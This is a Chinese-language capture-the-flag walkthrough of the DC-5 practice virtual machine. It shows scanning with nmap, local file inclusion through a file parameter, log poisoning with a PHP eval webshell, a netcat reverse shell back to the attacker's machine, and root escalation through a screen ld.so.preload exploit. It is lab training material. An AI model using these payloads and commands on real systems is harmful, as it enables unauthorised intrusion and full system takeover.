靶机信息
靶机地址:https://www.five86.com/dc-5.html
下载完成后,运行文件夹中的.ova文件即可安装靶机(vmware)
网络连接方式为NAT,kali与靶机为同一网段
信息搜集
nmap扫描网段探测靶机ip,然后对靶机进行扫描
nmap -sn 192.168.200.0/24
nmap -A 192.168.200.129
漏洞利用
发现80端口,访问下web站点
发现在contact提交后,每次提交完成后显示的年份都会发生变化
每次访问都会带上的查询的参数,可以尝试下能不能访问别的文件
原来显示年份的地方变成当前查询的文件的内容了
http://192.168.200.129/thankyou.php?file=/etc/passwd
构造语句查看nginx配置文件,发现成功回显,存在nginx服务
在回显的内容中发现访问日志和错误日志的路径
?file=/etc/nginx/nginx.conf
访问access.log,在url出插入一句话木马,不能用post参数,然后在error日志中可以看到这条操作
<?php eval($_REQUEST['admin']);?>
然后使用蚁剑连接,连access.log和error.log都是可以的
蚁剑上打开虚拟终端,然后nc弹到kali上
nc 192.168.200.128 6666 -e /bin/bash
nc -lvvp 6666
权限提升
获取交互模式
python -c 'import pty;pty.spawn("/bin/sh")'
用find命令查看有sudo权限的指令
find / -perm -u=s -type f 2>/dev/null
试了下前面几个命令不太行
最后是通过screen命令,先搜索下漏洞
将脚本文件上传到靶机发现不能直接用,还需要处理下
脚本文件里会有一些说明,将两部分代码分别新建为libhax.c和rootshell.c文件
将这些文件放到tmp目录下,然后指定gcc命令编译,上图箭头所指的命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
完成后,这俩绿色儿的上传到靶机的tmp目录,方法随意
然后再执行下列命令,#号后的部分不用加
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell
提权成功
在root目录下找到flag